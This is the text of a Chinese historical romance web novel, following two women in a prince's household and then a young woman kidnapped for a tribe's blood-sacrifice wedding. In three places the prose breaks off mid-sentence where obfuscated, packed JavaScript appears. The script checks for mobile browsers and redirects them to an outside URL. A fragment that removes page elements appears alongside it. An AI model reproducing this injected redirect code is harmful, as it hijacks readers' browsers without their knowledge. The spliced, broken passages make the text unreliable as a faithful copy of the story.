没有词汇能形容此刻李和绰的惊讶。她向来不擅于掩饰自己的情绪,握着茶杯的手轻轻一颤,那已然开始变凉的茶水便有些洒了出来。她呆呆愣愣地看着她,默了半晌,方才复又开口:“你是……什么时候知道的?” “今年春日,有次我到你房里去,你用来勾画的那本名册没有收起来,被我无意之中瞧见了。 “姐姐,我不走。我不想嫁人,也不想离开。”张颂之坐得笔直,话语之中尽是郑重,可李和绰听来,却觉她是仍旧不曾理解她这么做的真正原因。 “阿颂,我只是不想让你再像如今一般,困于那座王府之中不得自由。”与张颂之相交这么长时间,李和绰明白她的性子,也明白此事既已由她直接提了出来,那最好的办法便也是就此与她说个清楚明白。她探身过去,轻轻握住张颂之的手——便如她们二人于前年冬日,在她房间之中的双手相握一样。只是此次指尖泛着微微冰凉的人,却变成了她。 “广川郡王府于我来说,是我与大郎的家;可于你来说,是火坑,你应该比我更为清楚。流言是止不住的,就算如今我与大郎已然尽力让传言尽数消散无形,可难保日后会如何。而你在府中,明眼人都能看得出来,说是广川郡王侧妃,实际上和养在府上的女公子也没有太大区别,与其让你困在此处,做那个有名无分的郡王侧妃,寻个良人将你风风光光大嫁出门,保你余生幸福无忧,难道不是更好的选择吗? “阿颂,我们不能一直耽误着你。” “可是姐姐,我并不认为这是在耽误我。” 李和绰讶然抬首,看着张颂之。对面的少女微微笑着,仿佛如今并不是在这略显空旷的茶楼之中,而是在白马秋风塞上,杏花春雨江南;而她们之间所讨论的问题也并不是事关她自己的去留与未来,而是城东的寺院又要于何时开始俗讲,人来人往的市集之上究竟哪家商铺最合对方心意,又或是那家她们常去的书肆最近又进了些什么书,可有最新出的杂谈话本。 “姐姐,我是真的不想走,我已经无处可去了。爹爹已经……哥哥如今充军长州,长州驻军无诏不得返,就算能归,也只是重回京都而已,此生再见已成奢望。我没有家了,若说有,也只有如今的广川郡王府——在那日姐姐同我说‘我们是相依相伴的姐妹’之后,我便已然将此处当成了我的家——我唯一的家。就算离去,他乡也非故乡,而别处,也都不是我心中的家。 “我亦不愿嫁人。起初我从未想过自己的婚事,只觉听从父母之命,媒妁之言便是最好,后来又……起先确实想过不愿再在这府上苦熬下去,若那时有机会,我一定会选择逃离。可后来,姐姐待我那般好,郡王也不再为难我,这样的日子已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿绰,”他看着李和绰,眉眼之中尽是温柔,便如他们先前在京都之中一般,从未变过,“城北那片紫薇花林终于尽数开了花,我清晨听人说甚为好看,便来寻你一起去瞧一瞧。” 说着,他又看了眼站在一旁的张颂之,虽说还有几分显而易见的别扭之意,可对她说话之时语声却亦是温和的:“颂之也来吧,你们女子不都是很喜欢看花的么?——下次出门时记得换身好看些的衣裳,整日里穿这么素净是给谁看呀?终归是我的侧妃——” 看一旁的李和绰霎时抬了眼,意味不明地瞧着他,而张颂之亦垂了头,一副我没听到的模样,忙举了手,连连改口:“——妹妹,我的妹妹!可是阿绰,你我都知道她其实算是我妹妹,可她在外,终究还是侧妃的身份啊,你别怨我如此去说……” 他这副不住解释的模样让张颂之再也忍不住,以手掩唇笑出声来。萧定棠佯怒,朝她看去,她顿时敛首低眉,一副做小伏低的模样向他行了一礼,口中称是。 可脸上的笑容,却是无论如何也也掩不住的。 李和绰看着萧定棠那副有些尴尬,有些别扭,却又小心翼翼地看着她,生怕她因他先前的口误而生气的模样,也忍不住随着张颂之一同笑出声来。萧定棠见她如此,便知她是不生气的,于是说他在外面等,便先行出了茶坊。 李和绰笑着笑着,忍不住长长叹了口气。 算来,这也是萧定棠第一次,正式承认了张颂之如今的存在,也正式接受了张颂之“妹妹”的身份吧? 不过这样也好,总归在先前她与张颂之那段未完的谈话之中,她已然知晓了张颂之的意思,也不可能再一意孤行的将张颂之送离。如今萧定棠接受了她,倒也刚好。 他虽说在朝堂之上心狠手辣声名远扬,可朝野之外,对家人却是极好的。先前他还不曾正式接受张颂之之时便已然不曾让她受过什么委屈,如此一来,更会对她好,不让她再受半分伤害。 她可以安心了。 她站起身来,理了理衣裙,打算下楼,却看一旁的张颂之仍站在原地,脸上笑意未散,却不曾跟上她的脚步。 李和绰微微笑起来,伸出手去,今日第二次攥住了张颂之的左手。看着愣然望她的张颂之,她努努嘴:“还不走吗?再不走,你兄长只怕要等急了。” 张颂之闻言又是一怔,随即,唇边的笑意加深,回握住李和绰的手,轻轻应了一声:“走。” 李和绰与张颂之挽着手出了门,有夏风拂过,将二人的裙摆向后吹去,遥遥望去,便如同风中飞舞的彩蝶,美艳动人,神采飞扬。 李和绰记得她于父亲被斩之后曾生出过一种极为孤独的情绪,而那种情绪一直萦绕着她,从未消散,一直到她来到广川后不久,这才忽然消失无踪。 当时她不明白它忽然消失的原因,如今,她这才终于明白过来。 是啊,有何可孤独的呢?她想。她有大郎,有亦友亦妹的颂之,有不必再事事担忧、时时在意的生活,亦有随时可见的、广川郡那较之京城截然不同的碧蓝长空。 如此,大抵也可算是与她过去所想截然不同的,另一种层面上的圆满。 7. 关山月(一) “瑶镜,我说过的,我们会在河西再次相遇。” 贺瑶镜自小便很喜欢明月。 她的父母于中秋之夜相识,而她的生辰是九月十五,都是明月当空的好时节,故而她名为瑶镜,取自青莲居士“又疑瑶台镜,飞在青云端”一句。据她的兄长贺重明说,当年爹娘于中秋赏月诗会上初遇之时,两人异口同声念出的诗句便是李太白这首流传千古的乐府。爹爹后来回忆,他当初本想念鲍参军那首《朗月行》,却偏忘记了最初两句,便以李太白这首名篇以做弥补,谁料一旁一位丽人竟与他念出相同的句子,两人一来二去就此相识,最终竟成就一段佳话。 后来瑶镜也曾好奇地问起母亲此事,而提起往事的母亲神色欢喜,眼中亮着的光,俨然一副小女儿情态,随即却又恢复了一贯的温柔。她看着她,欣慰之余更添一抹认真:“或许我们镜儿啊,此生与明月也会很深的缘分呢。” 起初瑶镜是不信的,她的名字虽意为明月,但过去十六年里除了总出门与挚友玩乐之外,几乎未曾在那太多个十五月圆夜遇到什么特殊的事,唯一称得上特别的,或许就是她十四岁那年生辰与哥哥并女伴一同前去上元灯会,而后几人一同破了某位贵胄公子在街角设下的八卦灯阵,而后又在旁人艳羡的惊叹中飘然远去这一件旧事。 后来瑶镜的手帕交元英也听她说了此事,那时两人正在挑下月赏花宴要穿的新衣衣料,她渐渐靠近过来,眼底满是认真,可话语却有些促狭:“伯母既然这么说那就肯定有她的道理,你还记得我们先前读的话本吗?那些书生小姐可都是于花前月下相识的。阿镜,说不定你就会在月圆夜遇到你的如意郎君呢!” 瑶镜自然不信,她与这位好友十余年相交,几乎无话不谈,自然无需顾忌什么,顿时不服输地回敬道:“你先想想你的终身大事吧!若你的婚事这两年依旧没有定下,许姐姐怕是要再念叨你好久,到时你若被她禁足,出不了府,我可不会去你家登门要人的!” 许家家业兴旺,但许元英的父亲早逝,母亲为人又极为温和,极难压制住手下人的异心,可她姐姐却巾帼不让须眉,不惧世人非议眼光接掌家业不说,且为人刚劲正直,手腕雷厉风行,以几乎铁血的手段将原本一盘散沙的家业重整归拢至接近于完好无损。元英对这个姐姐既敬又怕,连只见过这位许姑娘两次的瑶镜都不住敬畏那女子的飒爽凌厉,故而她话刚出口,便见好友下意识一哆嗦,待回过神来,却又佯怒地望着她,伸手挠向她的腋窝,两人顿时笑成一团。 许元英在瑶镜十六岁那年离开了京城,准备前往南方游历,许家如今女子当家,虽受到非议,但她姐姐把持家业雷厉风行,许氏家风又甚是开明,故而许家儿女只要年岁长些便总会离开京城,四处游历,她也得到了母亲与长姐的鼎力支持。瑶镜想了想,向母亲递了个信,又同叔父说清了情况,便顺理成章地与好友一起离京南下,顺便想着,趁此机会不声不响去见父亲一面,定会让他震惊万分。 她的父亲是镇守南关的武将,一年都很难回几次家,为将者,当以山河为己任,绝不能随意擅离职守,而父亲又不忍让两个年幼的孩子在边疆常伴战火烽烟,故而瑶镜自小便与兄长一起生活在京中,由在京中任职的叔父暂代长者之职。父亲没有妾室,母亲既不忍与骨肉分离,也不愿与夫君分离,只好在战事稍歇时往返京城与边关,母亲虽是大家闺秀,却并非养在深闺中的女子,南来北往也毫不露怯,反倒极为逍遥。 瑶镜后来回想起此次南下,只觉一切冥冥中自有因果。她与明月并非无缘,她的命运也并不像先前一般平静无波。虽说变故迭起,却亦令人难忘,她往后数十年回忆往昔时,总是想起这次南下在罗摩望到的点点星火,还有与那位缘分深厚之人对坐在案几两侧,于夜色烛火之中对谈的称心快意。 这还要从她在剑南的事说起。 自京城前往蜀中,剑南是必经之路,瑶镜与元英不是急匆匆行过旅途万里的人,故而行至剑南道时便在城中落脚。元英有些疲惫,瑶镜留她在客栈中稍事歇息,她却是闲也闲不住,于是也没带侍女,自己一人在剑南的市集中闲逛,还去了城中的梵天寺上了一炷香。却不料出了寺院没走出几步便被人狠狠撞上,瑶镜的右肩被那人撞得生疼,捂着伤处痛苦地站起身来,却见那人非但没停下来道歉,反倒飞快地爬起来,匆匆走远。 她心中腹诽,却也不愿多说,只好自认倒霉,抬目向他离开的方向望去,却见他一边向前走着,一边还飞快地回了下头。那是个年纪不大的孩童,梳着总角,身上满是尘土,面色慌乱,好似在躲避着什么人。注意到她的目光,他的眼睛骤然一亮,伸出手在唇边比了个“噤声”的手势,也不问不看她是否意会,转头便消失在拐角处。 远处忽然传来急促嘈杂的马蹄声,瑶镜心道不妙,刚想离开,却忽地看到一队人马出现在小巷尽头。为首那人满脸横肉,身材粗犷,带着手下人远远便下了马,分头开始询问路人什么,当得到回复后,便将他们纷纷驱赶出去。为首那人径直走向瑶镜,拿出一副画像,询问她是否见过画像中人。 瑶镜心底有些慌乱,却又佯装镇定,顺着他右手所指瞥了眼画像,却忽地发现上面的人竟和方才那个孩童一般无二。她脑子转得飞快,自认为明白了那男孩央求她帮助他躲避这些人追捕的深意。 瑶镜古道热肠,既已明了,自然不肯抽身事外,决心相助。于是她瑟缩一下,装作害怕不已的样子作思考状,而后指了指与他去处截然相反的方向。那人估计是见瑶镜一个年纪不大的姑娘,又与他素不相识,没有骗人的道理,便未起疑心。一边喝令她快些离开,一边招呼手下上马,扬鞭策马朝她方才所指的那个方向绝尘而去。 谁料两人刚一回头,便见那个孩童正站在方才的拐角位置,正直直看向他们这边。瑶镜心道不好,焦急万分,眼见那队人马已经回返,登时拔腿就跑,一边跑,还一边用力向他挥手: “快跑啊——” “啊”字甫一出口,她的脑袋却忽然有些发昏。瑶镜起初没太在意,还以为是自己情绪过于激动的缘故,晃了晃头刚想继续,却更为惊愕地发现非但是头昏脑涨,连她的视线都隐隐有些模糊。 她身子微微晃了下,手向后一扶,本想借此稳住身形,却不知误撞了什么东西,瑶镜回过头去,却见自己的左肩忽然被一只宽大的手掌用力抓住,整个人不受控制地向后跌去。她挣扎着还想大喊什么,可问话出口却再也没了想象中的凌厉,甚至连生气也没了多少,软绵绵的,仿佛大病初愈。 瑶镜的双腿便再支撑不住身体的重量,眼前瞬间黑暗下来,整个人如骤失依仗一般径直倒了下去,闭上双眼之前,她最后看到的是方才自己想要搭救的那个男孩,他走到她身边来,眼中满是与年纪不符的狠厉。 原来话本上说的那些路见不平,拔刀相助的侠士反被恶人所害的故事,是当真存在的啊…… 瑶镜迷迷糊糊地想着。在意识模糊前的最后一刻,她拼命伸出手去,用尽全力趁那些人不注意时,将手中父亲曾给她的信号放了出去。 剑南距父亲驻守的嘉萌关并不算远,只能希望爹爹他们尽快看到她的信号——然后来救她出去吧。 瑶镜再醒来时已不知过了多久,自己被绑缚手脚,关在一间柴房之中,屋外有不少人正在絮絮说着什么,听他们的口音绝非中原人氏,倒像是蜀中附近的异族之人。蜀中崇山叠岭,常有茹毛饮血的异族生活其中,或自给自足,或为祸四方,她过去读方志时曾看到过前人的记载,却不料自己当真在如此境况之下亲眼一观外族风情,委实令人扼腕。 她有些紧张,想要说话,却发现根本出不了任何声音,只得拼命乱动,却完全解不开身上的绳索。不知努力尝试了多久,只听一声清响,一旁案几上的杯盏被拂落在地,发出清脆的碎裂声。 下一刻,柴房的门忽然大开,许多人乌泱泱涌了进来。他们穿着奇怪的服饰,戴着鸟毛一样的装饰,脸上脸上绘着繁杂的花纹,手中的武器却分外锐利。瑶镜被吓得一激灵,下意识向后缩了又缩,却无人管她。他们望着她,用她听不懂的语言交谈了许久,终于有人走了出来。 他的打扮与旁人近似,却更为华丽。他望着瑶镜,目光冷淡,毫无感情,看得瑶镜不寒而栗。 “你们要做什么?”瑶镜声音颤抖,却不愿服输,梗着脖子问道。 他没回话,却露出一个诡异的笑容,指着瑶镜,转头对其他人道:“那就她了。” 他说的是官话,虽发音奇怪,但瑶镜好歹能听懂一二。她愣了一下,还未反应过来,便有人上前,用银针刺了她身上的某个穴位,又解开了她身上的绳索,只留了绑缚双手的那一条麻绳。而后又粗暴地将她按坐在房间的妆台之前,一人打开妆奁,另一人按住她的头,竟是要强行为她上妆。 看着他们以无比娴熟的手法做这些事,瑶镜越来越慌,扭头看向四周,却见旁人都退了出去。眼看不妙,她终于惊呼起来。可无论她如何高呼尖叫,却无一人予她回应,甚至这两个异族女子的动作都没有慢上半分。 叫天不应,叫地不灵,瑶镜只能奢望父亲可以快些发觉不对,前来救她出去。 其实瑶镜是会一点武功的,她虽志不在此,但兄长立志继承父亲衣钵,平日里其实教过她几招,若确定这几个女子不懂武艺的话,她是有拼命一试的能力的,可瑶镜却颇为沉得住气。她能感觉到眼前的异族人并未想过伤害她,只是在为她画上不知何意的浓艳妆容,可见她短时间内并无危险,便暂且忍辱求全,留待后来背水一战之时再行使用。 谁料直至最后,也无人要对她做些什么。两人为她打扮的妆容极为艳丽,却又很是奇怪,瑶镜从未在国朝其他地方见到此等妆容,上过妆后,她们竟恭恭敬敬将她请到了另一间相对大些的厢房之中,有几个女子走上前来,示意她转身——竟是想为她更衣。 瑶镜锁着眉头,片刻之后,这神色变成了震惊。那些女子手上捧着的,居然是一件盘金绣的赤红喜服。 此举着实太过令人惊愕,若说是石破天惊都不甚为过。瑶镜终于装不下去,向后连退数步,高声问道:“你们究竟想做什么?”可还未待她有所防备,就听屋内方才准备喜服的女子忽地出声,讲的竟是字正腔圆的官话:“姑娘就莫要再挣扎了。大祭司已卜出吉时,血祭之日就在今晚,姑娘还是安心待嫁,为我族首领静心祈福才好。” 瑶镜一脸震惊地望着她,完全不知自己该作何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073511|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应,也不知此刻该说什么,又该做些什么。 不会真如她想的那样吧?! 若真如此……她想,她知道自己究竟身在何处了。 蜀中紫霄山内,有一名为“罗摩”的族群,世代以游猎为生,却又极其敬重天地,故而巫咸在族中拥有至高无上的地位,可一言定人生死。罗摩族内有一奇怪风俗,当族中首领病入膏肓时,若娶一心地善良,纯净无暇的少女用作祭品,大婚之夜行血祭之术则可以消灾,只是血祭之法太过神秘缥缈,见过的人除首领本人之外,基本都死于非命,故而竟无一人知晓具体施术方法,只知自始至终,以做血祭祭品的女子无一人生还。 这是先前瑶镜在前人行记中读到的记载,她只当作者道听途说,毕竟爹爹就驻守蜀中,从未听过这一族群,没想到罗摩族当真存在,没料到她阴差阳错,居然被选中成了血祭的祭品。 她刹那间惴惴不安,登时便想挣开绳索,却忽地发觉方才那根银针似乎扎入了她身上大穴,如今她浑身无力,连双臂都无法抬起,更别说想法子逃离了。她无可奈何,只好任她们为她换好嫁衣,让她坐在某个地方继续等待。途中瑶镜曾尝试佯装认命,从那个会说官话的罗摩女子口中套些话来,可除了知晓罗摩首领如今是个苍颜白发,年逾七十的老者之外,没有问出半分其他的隐秘。 而瑶镜的心中更是焦躁不安。 不知是否是罗摩族太过隐匿,直至入夜,瑶镜也没有收到父亲手下的传信,更没见谁人营救她的动作。屋门复又被人打开,红衣喜庆装扮的女子鱼贯而入,却忽然见身旁的罗摩女子以迅雷不及掩耳之势“刷”地抽出腰间佩剑,与此同时,一下挑开捆着她双脚的绳索。瑶镜下意识便想挣扎,下一刻便感觉有一把冰冷的长剑抵上了她的脖颈,身子被人粗暴地向前一推,那女子冷冷的声音自她耳边传来:“走!” 瑶镜的一声惊呼还未出口,在她看到一旁大祭司的冰冷眼神时便已被她生生压住。她强忍着心中的不安,被推搡得跌跌撞撞向前走去。 他们将她带到一间红绸装饰的厢房之中,为她解了穴道,又为她蒙了盖头,便粗暴地将她往房中一推。瑶镜被推的一个趔趄,好不容易才稳住身形,她眼前一片鲜红,只能感觉到有人站到了她身旁,另一人粗暴地拎起她的手臂,将她仍被绑缚的左手与身旁之人的手交叠而握。有人用长刀指着她,逼迫她伸出手来。 瑶镜方才曾听那些会说汉话的侍女提过罗摩的婚俗,见状顿时明白他们想要自己做什么。 她长到如今甚至连暗自倾慕之人都没有,对心上人的全部想象,不过也只集中在读话本时心中旖旎而又梦幻的念想而已,至于“成婚”,更是半分未想过。如今他们居然还想逼迫她完成完整的大婚仪程,这于她而言,已是极郑重的场合才该有的仪轨,与正式成婚也相差无几。瑶镜心底极不情愿,可长刀在侧,她根本没有反抗的余地,只能顺从方才强行灌输给她的仪程安排,在对方的掌心轻轻扣了两下。 一片寂静。瑶镜等了半晌也没有等到那首领的回应,有些奇怪,正想试探着再动一下时,却察觉那人的手也动了。他的手回扣住她的,然后与方才她的动作一样,以指节为击锤,在她手中扣了两次。 她不由怔了一下。 只听大祭司用奇怪的语言吟诵了几句经文一样的祝词,房门便被人轻轻关上。 瑶镜的手中紧紧握着一只短簪,那还是方才侍女为她戴上凤冠时,她悄悄藏在手中的。这短簪看似寻常,实则暗藏玄机,只要轻轻一按,便可弹出锋利的短刀。 她本想先尝试着解开手中的绳索,可首领就在屋内,她无法轻举妄动,只好先藏好这支发簪。大婚之夜凶险万分,若这作恶多端的首领想要对她做些什么不轨之事,又或是想直接拿了她行血祭之术,她会毫不犹豫,直接拼上全力杀了他。 婚房空旷,烛火噼啪,这厢房内外出奇的安静,连那个不知何来的首领也没有动静。瑶镜的心砰砰地跳,她不愿先行开口,亦相信那个所谓的首领不可能听懂她的话,她只能静待时机。 也许只是一会儿工夫,又或许已是过了许久,一柄玉如意轻轻触上鲜红的盖头,瑶镜全身微微一颤,心擂如鼓,双手却逐渐将那掌心下的短簪越抓越紧。随着朱色盖头一点点移开,她的余光逐渐能瞥到身前那个亦穿了一身喜服的人影。 瑶镜垂着眼,愈发紧张,默默在心中倒数。那人的动作极其缓慢,或许过了一瞬,又或许已过去许久,红盖头终于被完全挑开。 那一瞬间瑶镜咬紧牙关,不欲再给对方反应的时机,心中暗道:“便是现在!”而后捏着手中的簪子,骤然抬眼,手上聚集了如今全部的力气,只待一刹之后的全力一击。 下一刻,原本要出招的双手顿时失了力气,瑶镜的动作也于一瞬间停住。 她就这样直直撞进了一双眼中。那双眼极为澄澈,好似她曾在南疆见过的碧蓝天空。又如同天生笑相,连双眸之中都带着淡淡的笑意,水光涟漪,晶亮如星辰闪烁。他望着她,神情陌生而戒备,可双目却极为明澈,清净如莲,纯净得不夹杂一丝尘埃。 那并不是一个阅尽千帆老者会有的双目,站在她面前的,竟是个与她年岁相仿的少年。 8. 关山月(二) 静室之中红烛跳动,瑶镜看着眼前的少年,扯了扯嘴角,想要对他笑一下,却无论如何也笑不出来:“不是说,罗摩的首领是个七老八十的老头子?” 那少年见她握着簪子的手并未放下,显然还心怀防备,却也不慌,只轻轻摘下了脸上的面具,又褪下假发,为自己倒了杯酒,望着她亦笑起来:“不是说,新娘是温柔婉约、亭亭玉立、天生丽质、秀外慧中的绝代佳人么?女公子如此,可委实不像什么娇小玲珑的柔弱女子。” 他委实太过从容,半分没有鸠占鹊巢的跋扈,又毫不惊慌,如同自己本来便是此地的主人,面对明显迫不得已的她,他也未曾惊讶,这样的沉着令瑶镜实打实愣了一下。随即注意到他的称呼,整个人这才逐渐松懈下来——“女公子”一词本是达官贵人之间对家中女子的尊称,绝非寻常山匪贼人可知,此人应该是友非敌。 “真正的罗摩首领呢?”她终于放下心来,见他丝毫无所顾忌,索性也不再防备什么,收了发簪,想伸手将碍事的头面拆下,却意识到自己的双手仍被绑缚,只好先用力松了绳索,这才伸手,一点一点卸了繁重的头面。她一边卸,一边在心底感慨,这罗摩族虽古朴原始,可这头面却极其精致,可真是看重这惨无人道的血祭。 “我把他迷晕了。好在方才那仪式上无需我言语,否则定然露馅。”他笑起来,“刷”地展开一把不知何来的折扇,略歪着头望向瑶镜,眼底还带着几分得意之色,“敢绑本公子,也真是不睁大眼看看清楚,我虽文不成武不就,但好歹还能有两下子,他如此胆大包天,就该让他受点教训,况且还敢欺凌无辜女子,万箭穿心也不为过。” “若当真如此,”瑶镜轻轻咳了一声,举起手来向他示意,“公子为何要顺从罗摩族的习俗,扣我的手心两下?公子难道不知,在罗摩族,若男子女子两情相悦,只要在踏歌节上握住对方手掌,而后在其掌心轻扣两下以作问询,只要收到同样动作的回应,便是应允成婚,亦是在告知对方‘我亦心悦你’吗?难道公子在冒名顶替罗摩首领之前,未曾听闻此事么? “公子与我素昧平生,若罗摩族寻来血祭的是其他女子,你们同样素不相识,公子也会做出如此动作吗?若对方当真为罗摩女子,公子此举,便是与她一生绑在一起,无论你是否为同族中人,她这一生都不再太平。” “我起初并不知晓,但后来绑了个会汉话的小男孩,这才知道那个动作的真实意义。”他微微一愣,随即展颜,立时将手中折扇合上,“我想着无论如何,若顺着他们的习俗前来,我露馅的可能就越小,身处危局的时间也就愈发拖后。好像确实是我的失误,其实我也没想到罗摩族竟如此残忍,当真用少女生祭,之前我确实听旁人说过此地习俗,但其他……我的同窗一致认为此事为道听途说,做不得真,没想到还真有此等惨绝人寰的习俗。若非你我均非罗摩一族,只怕今日定然有人含恨而死。” 瑶镜只叹了口气,心中想着,或许他方才并未说错,若非两人都是意外来此,另一人与罗摩中人正面相对,只怕谁都无法轻易脱身。 房中有些奇怪的气氛至此终于四散而去,两人也终于能坐下来,将一切都说个清楚。瑶镜此刻已将他当作同道战友,因此极为客气,除了自己的身份之外也并未隐瞒什么。而那少年看似英勇,实则在解释之时总是顾左右而言他,半分不提自己为何会闯入罗摩领地,瑶镜听着总觉奇怪,却也没多问什么,如此你来我往,两人在短时间内也将双方的情况了解了大半。后来正事谈得差不多,彼此又都是少年心性,最是闲不住,索性纵情言语,开始谈天论地起来。 他们不知说了多久,从北方的莽莽群山到南国的青山秀水,从京城现今的趣事到蜀中新出的话本,瑶镜时常来往南北,见多识广,总有说不完的话;可那少年看似对民间之事不闻不问,实则却亦是十分健谈,甚至有时还会接着瑶镜的话向下说。 夜色越来越深,屋内只燃着星星点点的烛火,房内房外安静得可怕,似乎方圆几里都不见人烟,罗摩族的人此刻也都不知去了何处,无人前来打扰族长的血祭之术。纵使瑶镜再临危不惧,此刻却也不由有些害怕,想着打破如今这近乎诡异的寂静,便又起了新的话题,问身边的少年:“罗摩族残忍嗜血,就这样替代首领来此一探究竟,你不害怕吗?” “当然害怕了。”他一下坐直了身,一本正经地望过来,“但爹爹告诉过我,在外不能失了气势,否则便会让歹人趁虚而入。况且我穿戴喜服,来到新房之前已经向父亲留给我的人发了信号,他们应该很快便会来救我们——而且见到你之后,我就更不害怕了。” “为何?”瑶镜不由有些诧异。他又拿起折扇,放在掌心握着,悠悠道:“你是女子,我可不能在女子面前露怯。况且我先前害怕,只是因为罗摩的血祭习俗,如今你亦是误被捉来的外乡人,显然与我目的相同,我又有何可惧?” 他这话说得滴水不漏,也确实是大齐贵胄子弟惯常的想法,可瑶镜心底隐隐觉着有些奇怪,却也看不出什么异常,只好沉默下来,不再回他的话。 两人之间就这样沉默下来,他不再摆弄他的扇子,瑶镜也不愿再深问什么细节,索性闭上了眼。她向来不能熬夜,这一晚已耗费了她太多精力,刚一闭目,困意便滚滚袭来。瑶镜知晓此刻绝不该睡,可如果她不做点什么,一会儿定然还会继续犯困,于是便在脑海中思索着获救之后的安排,想找些已能确认的事来说上一说,如此才能让这寂静清冷的屋宇少些暗沉,多几分人气。 她想了半晌,却发现全无头绪。瑶镜虽少年心性,走南闯北无所畏惧,可从被掳走到如今却也一直都是强撑着镇定,待冷静下来去捋顺一切,才发现自己完全不知接下来该如何去做,满腹奇思妙想如今竟显得分外苍白。 正同自己迷蒙的睡意与一团乱的思绪做着斗争,瑶镜忽地听身旁的少年低声开口:“姑娘。” 他此次用了亲密些许的称呼,两人之间的距离随着他这声呼唤而不知不觉被拉近许多。瑶镜不由抬起眼来望向他,屋内红烛已是几近燃尽,发出些微的噼啪声响,烛泪幽幽,跳动的烛火映着少年的侧脸,他认真地看着她,眼底晶亮晶亮。 “总这样唤你也不是办法,况且你我既于此相识,那便是有缘,合该认识一下。”他的笑意愈发明朗,又玩起了手中的折扇,望着她的眼却依旧深邃而纯净,“我叫张绍筠,家在京中。若姑娘日后得闲,欢迎来寻我,我定带你逛遍京城!” 他一番话说完,瑶镜却有些恍惚。这于官宦人家的子女而言已是极为亲密的邀约,可眼前的少年却好似分毫不曾意识到其中问题,连名字说的也很是简单,就如同他们相逢于低矮拱桥上,江南烟雨中,金风玉露一相逢,互通名姓也是理所应当。 她过去在京城便早已厌倦那些士族之间的弯弯绕绕,如今遇到为人如此简单的同乡,自然心生欢喜。瑶镜心想,这少年的为人心性,倒与他名字中“美丽的竹子”这样的意象有些偏差——竹向来被人寓以正直高洁、坚忍不拔之意,他如此模样言语,不像绿竹,倒像一颗杨柳,虽然简单以至于浅显,却如同春风拂面,令人心旷神怡。 于是瑶镜也没有再顾忌什么,她抬起眼来,唇边带着隐隐的笑意,将自己的姓名告知眼前的人:“贺瑶镜,我也是京城人士。看来我与公子,当真有缘。” 他们在空空荡荡的寂静新房中一直坐到丑时,瑶镜这才收到了父亲手下之人发来的信号。她急急打开窗户,却震惊地发现除了她所识得的父亲的手下,窗外沉默而立的居然还有另一群人,一问才知,居然是张绍筠的人。 她忍不住好奇:张绍筠究竟是何方神圣?她能叫人前来救她已是万幸,可他既是个与南地毫无联系的京城公子,却又如何能唤人前来相救?罗摩族地处崇山峻岭之中,近凭寻常官家那些身手矫健的护卫,是绝无可能短短不到一日便能寻来的。 可如今当然不是问这些的时候,她只能将疑惑尽数藏于心底。 这场意外的结局毫无悬念,罗摩族人几乎毫无还手之力,瑶镜与张绍筠就这样被护送离开,赢得轻而易举。 瑶镜一直被父亲手下的军士护在身后,就连看似不甚靠谱的张绍筠却也一直都挡在她面前,半分也不让她看见那血腥的场面,他自己倒是害怕惊恐,瑶镜甚至能听到他握着扇子,惊声叫出的那句“怎么搞的这么惨啊”,但他挡在她身前的身影却自始至终不曾移开。于是,她只听得剑声纷飞,看得人影交织,连点血都没见着,便被安然无恙地救了出来。 离开罗摩之前瑶镜回头望向那片古朴原始的村寨,战斗已至末尾,今夜恰是满月,皓月皎洁,高挂在半空,以清冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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瑶镜懵了一下,随即抬头看去,却见对面的张绍筠瞳孔微微一缩,看着她的双目之中现出与她一般无二的愕然。 他们不约而同地看向对方,惊讶出声。 “原来,令尊便是刑部尚书?” “原来——令尊是驻守嘉荫关的贺将军?” “那我何必在你面前百般隐藏身份?”瑶镜与张绍筠几乎是同时开口,连语气都是一般无二的欢喜。二人对视一眼,张绍筠扯扯嘴角,瑶镜有些不自然地咳了一声,两人沉默半晌,却忽地一起笑出声来。 此时贺瑶镜才反应过来,方才在新房之中张绍筠那令人倍感熟悉的官话腔调,还有他与她交谈时带给她的几分亲切感觉,或许都并非虚妄。能在遥远的蜀中遇到同乡,且这位同乡还与巴蜀毫无关系,如此看来,自己与张绍筠何止有缘,简直是缘分深厚。 “这便是令爱?”那位张尚书依旧面色不虞,却巧妙地接过了两个年轻人的话,“临危不惧,遇事不乱,当真是个极有胆识的女子,将军有福。” “尚书谬赞。”贺将军谦虚道,瑶镜亦回了一句,她垂着眼,不知为何,难得有些羞赧。 张陆正没有就瑶镜为何会随他的儿子一同出现这个问题而过多追究,他望着瑶镜的目光很是温和,可当他的目光完完全全移到张绍筠身上时,他的神色沉得就如同倾盆大雨来临之前的天际,暗得可怕。 他皱眉注视着他,缓缓开口,似是想要说些什么,可未待开口,便被张绍筠喜悦而跳脱的声音打断:“原来你也住在京城啊!那我们以后还能再见面呢,我还以为,你我日后……” 他忽地闭口不言,瑶镜有些疑惑:“日后什么?”随即却见张绍筠猛地低下头去,瑶镜不明所以,下意识向父亲的方向望去,却见张陆正正瞥向张绍筠的方向,不悦地盯着他,却并未言语。张绍筠垂着眼,一下一下戳着手指,未待父亲说些什么,便低眉顺眼,连声点头:“好的父亲,知道了父亲,我不会再惹事了,这就随您回去。” 